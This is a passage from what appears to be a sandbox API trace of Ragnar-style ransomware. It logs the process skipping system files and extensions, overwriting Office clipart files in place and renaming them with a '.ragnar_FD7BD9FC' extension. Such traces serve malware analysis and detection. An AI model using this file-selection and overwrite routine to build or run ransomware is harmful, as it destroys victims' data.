lpNewFilePointer=0x0) returned 1 [0087.189] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x94c4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x94c4, lpOverlapped=0x0) returned 1 [0087.190] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.191] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x94c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.191] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x94c4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x94c4, lpOverlapped=0x0) returned 1 [0087.191] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x94c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.191] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.191] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x94c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.191] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.191] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.191] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.192] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.192] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.192] GetProcessHeap () returned 0x580000 [0087.192] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.192] CloseHandle (hObject=0xf4) returned 1 [0087.192] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" [0087.192] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.ragnar_FD7BD9FC" [0087.192] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.193] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd40ff00, ftCreationTime.dwHighDateTime=0x1bed402, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd40ff00, ftLastWriteTime.dwHighDateTime=0x1bed402, nFileSizeHigh=0x0, nFileSizeLow=0xb5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281243.WMF", cAlternateFileName="")) returned 1 [0087.193] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.193] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0281243.WMF" | out: lpString1="J0281243.WMF") returned="J0281243.WMF" [0087.193] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF") returned=".WMF" [0087.193] lstrcmpiW (lpString1="J0281243.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.193] lstrcmpiW (lpString1="J0281243.WMF", lpString2="autorun.inf") returned 1 [0087.193] lstrcmpiW (lpString1="J0281243.WMF", lpString2="boot.ini") returned 1 [0087.193] lstrcmpiW (lpString1="J0281243.WMF", lpString2="bootfont.bin") returned 1 [0087.193] lstrcmpiW (lpString1="J0281243.WMF", lpString2="bootsect.bak") returned 1 [0087.193] lstrcmpiW (lpString1="J0281243.WMF", lpString2="bootmgr") returned 1 [0087.193] lstrcmpiW (lpString1="J0281243.WMF", lpString2="bootmgr.efi") returned 1 [0087.193] lstrcmpiW (lpString1="J0281243.WMF", lpString2="bootmgfw.efi") returned 1 [0087.193] lstrcmpiW (lpString1="J0281243.WMF", lpString2="desktop.ini") returned 1 [0087.193] lstrcmpiW (lpString1="J0281243.WMF", lpString2="iconcache.db") returned 1 [0087.193] lstrcmpiW (lpString1="J0281243.WMF", lpString2="ntldr") returned -1 [0087.193] lstrcmpiW (lpString1="J0281243.WMF", lpString2="ntuser.dat") returned -1 [0087.193] lstrcmpiW (lpString1="J0281243.WMF", lpString2="ntuser.dat.log") returned -1 [0087.193] lstrcmpiW (lpString1="J0281243.WMF", lpString2="ntuser.ini") returned -1 [0087.193] lstrcmpiW (lpString1="J0281243.WMF", lpString2="thumbs.db") returned -1 [0087.193] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.193] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.193] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.193] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.193] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.193] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.193] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf")) returned 0x20 [0087.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.194] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=46516) returned 1 [0087.194] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb5ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.194] GetProcessHeap () returned 0x580000 [0087.194] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.194] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.195] VirtualAlloc (lpAddress=0x0, dwSize=0xb5b4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.195] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.195] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.195] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb5b4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb5b4, lpOverlapped=0x0) returned 1 [0087.197] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.197] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb5b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.197] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb5b4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb5b4, lpOverlapped=0x0) returned 1 [0087.197] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb5b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.197] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.198] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb5b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.198] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.198] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.198] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.198] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.198] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.198] GetProcessHeap () returned 0x580000 [0087.198] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.198] CloseHandle (hObject=0xf4) returned 1 [0087.198] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" [0087.198] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.ragnar_FD7BD9FC" [0087.198] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.199] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c757700, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c757700, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x31dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281630.WMF", cAlternateFileName="")) returned 1 [0087.199] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.199] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0281630.WMF" | out: lpString1="J0281630.WMF") returned="J0281630.WMF" [0087.199] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF") returned=".WMF" [0087.199] lstrcmpiW (lpString1="J0281630.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.199] lstrcmpiW (lpString1="J0281630.WMF", lpString2="autorun.inf") returned 1 [0087.199] lstrcmpiW (lpString1="J0281630.WMF", lpString2="boot.ini") returned 1 [0087.199] lstrcmpiW (lpString1="J0281630.WMF", lpString2="bootfont.bin") returned 1 [0087.199] lstrcmpiW (lpString1="J0281630.WMF", lpString2="bootsect.bak") returned 1 [0087.199] lstrcmpiW (lpString1="J0281630.WMF", lpString2="bootmgr") returned 1 [0087.199] lstrcmpiW (lpString1="J0281630.WMF", lpString2="bootmgr.efi") returned 1 [0087.199] lstrcmpiW (lpString1="J0281630.WMF", lpString2="bootmgfw.efi") returned 1 [0087.199] lstrcmpiW (lpString1="J0281630.WMF", lpString2="desktop.ini") returned 1 [0087.199] lstrcmpiW (lpString1="J0281630.WMF", lpString2="iconcache.db") returned 1 [0087.199] lstrcmpiW (lpString1="J0281630.WMF", lpString2="ntldr") returned -1 [0087.199] lstrcmpiW (lpString1="J0281630.WMF", lpString2="ntuser.dat") returned -1 [0087.199] lstrcmpiW (lpString1="J0281630.WMF", lpString2="ntuser.dat.log") returned -1 [0087.199] lstrcmpiW (lpString1="J0281630.WMF", lpString2="ntuser.ini") returned -1 [0087.199] lstrcmpiW (lpString1="J0281630.WMF", lpString2="thumbs.db") returned -1 [0087.199] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.199] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.199] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.199] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.199] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.199] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.199] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf")) returned 0x20 [0087.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.201] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12764) returned 1 [0087.202] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x31d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.202] GetProcessHeap () returned 0x580000 [0087.202] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.202] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.203] VirtualAlloc (lpAddress=0x0, dwSize=0x31dc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.203] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.203] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.203] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x31dc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x31dc, lpOverlapped=0x0) returned 1 [0087.204] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.205] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x31dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.205] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x31dc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x31dc, lpOverlapped=0x0) returned 1 [0087.205] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x31dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.205] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.205] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x31dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.205] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.205] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.205] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.205] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.205] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.205] GetProcessHeap () returned 0x580000 [0087.205] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.205] CloseHandle (hObject=0xf4) returned 1 [0087.206] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" [0087.206] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.ragnar_FD7BD9FC" [0087.206] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.206] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da6a400, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7da6a400, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x3854, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281632.WMF", cAlternateFileName="")) returned 1 [0087.206] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.206] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0281632.WMF" | out: lpString1="J0281632.WMF") returned="J0281632.WMF" [0087.206] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF") returned=".WMF" [0087.206] lstrcmpiW (lpString1="J0281632.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.206] lstrcmpiW (lpString1="J0281632.WMF", lpString2="autorun.inf") returned 1 [0087.206] lstrcmpiW (lpString1="J0281632.WMF", lpString2="boot.ini") returned 1 [0087.206] lstrcmpiW (lpString1="J0281632.WMF", lpString2="bootfont.bin") returned 1 [0087.206] lstrcmpiW (lpString1="J0281632.WMF", lpString2="bootsect.bak") returned 1 [0087.206] lstrcmpiW (lpString1="J0281632.WMF", lpString2="bootmgr") returned 1 [0087.207] lstrcmpiW (lpString1="J0281632.WMF", lpString2="bootmgr.efi") returned 1 [0087.207] lstrcmpiW (lpString1="J0281632.WMF", lpString2="bootmgfw.efi") returned 1 [0087.207] lstrcmpiW (lpString1="J0281632.WMF", lpString2="desktop.ini") returned 1 [0087.207] lstrcmpiW (lpString1="J0281632.WMF", lpString2="iconcache.db") returned 1 [0087.207] lstrcmpiW (lpString1="J0281632.WMF", lpString2="ntldr") returned -1 [0087.207] lstrcmpiW (lpString1="J0281632.WMF", lpString2="ntuser.dat") returned -1 [0087.207] lstrcmpiW (lpString1="J0281632.WMF", lpString2="ntuser.dat.log") returned -1 [0087.207] lstrcmpiW (lpString1="J0281632.WMF", lpString2="ntuser.ini") returned -1 [0087.207] lstrcmpiW (lpString1="J0281632.WMF", lpString2="thumbs.db") returned -1 [0087.207] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.207] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.207] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.207] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.207] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.207] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.207] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf")) returned 0x20 [0087.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.207] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14420) returned 1 [0087.207] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x384b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.207] GetProcessHeap () returned 0x580000 [0087.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.208] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.209] VirtualAlloc (lpAddress=0x0, dwSize=0x3854, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.209] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.209] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.209] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3854, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3854, lpOverlapped=0x0) returned 1 [0087.210] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.210] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3854, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.210] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3854, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3854, lpOverlapped=0x0) returned 1 [0087.211] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, 